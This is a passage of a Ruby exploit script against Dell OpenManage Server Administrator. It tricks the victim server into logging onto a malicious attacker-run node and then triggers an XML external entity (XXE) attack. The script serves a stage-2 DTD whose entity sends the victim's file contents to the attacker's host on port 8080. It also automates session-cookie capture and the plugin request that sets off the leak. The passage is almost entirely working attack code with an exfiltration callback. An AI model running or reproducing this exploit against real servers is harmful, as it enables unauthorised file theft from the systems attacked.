resDoc.xpath('//n1:ReturnValue').first.content=respText
res.status = 200
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
res.body = resDoc.to_xml
end
end
wsmanThread = Thread.new do
wsmanCallback.start
end
xxeCallback = WEBrick::HTTPServer.new(:Port => 8080)
xxeCallback.mount_proc '/stage2.dtd' do |req, res|
res.status = 200
res['Content-Type'] = 'application/xml-dtd'
res.body = "<!ENTITY % all\n \"<!ENTITY &#x25; send SYSTEM 'http://#{attackerip}:8080/xxe?result=%file;'>\"\n>\n%all;\n"
end
result = nil
xxeCallback.mount_proc '/xxe' do |req, res|
result = req.query['result']
wsmanCallback.shutdown
xxeCallback.shutdown
end
xxeThread = Thread.new do
xxeCallback.start
end
trap 'INT' do
wsmanCallback.shutdown
xxeCallback.shutdown
abort "Exiting"
end
httpConn = Net::HTTP.new(victimip, 1311)
httpConn.use_ssl=true
httpConn.verify_mode=OpenSSL::SSL::VERIFY_NONE
print "\n\nRequesting that the victim log onto this malicious node...\n\n"
logonUri = URI.parse("https://#{victimip}:1311/LoginServlet?flag=true&managedws=false")
logonReq = Net::HTTP::Post.new(logonUri.request_uri)
logonReq.set_form_data({"manuallogin" => "true", "targetmachine" => attackerip, "user" => "nobody", "password" => "", "application" => "omsa", "ignorecertificate" => "1"})
logonRes = httpConn.request(logonReq)
jSessionId = logonRes['Set-Cookie']
jSessionId = jSessionId[(jSessionId.index('=')+1)..(jSessionId.index(';')-1)]
vid = logonRes['Location']
vid = vid[(vid.index('&vid=')+5)..-1]
print "\n\nJSESSIONID = #{jSessionId}\nVID = #{vid}\nRequesting the victim's CmdLogWebPlugin...\n\n"
pluginUri = URI.parse("https://#{victimip}:1311/#{vid}/DataArea?plugin=com.dell.oma.webplugins.CmdLogWebPlugin&vid=#{vid}")
pluginReq = Net::HTTP::Get.new(pluginUri.request_uri)
pluginReq['Cookie']="JSESSIONID=#{jSessionId}"
pluginRes = httpConn.request(pluginReq)
wsmanThread.join
xxeThread.join
print "\n\nSuccessful XXE: #{result}\n\n" unless result.nil?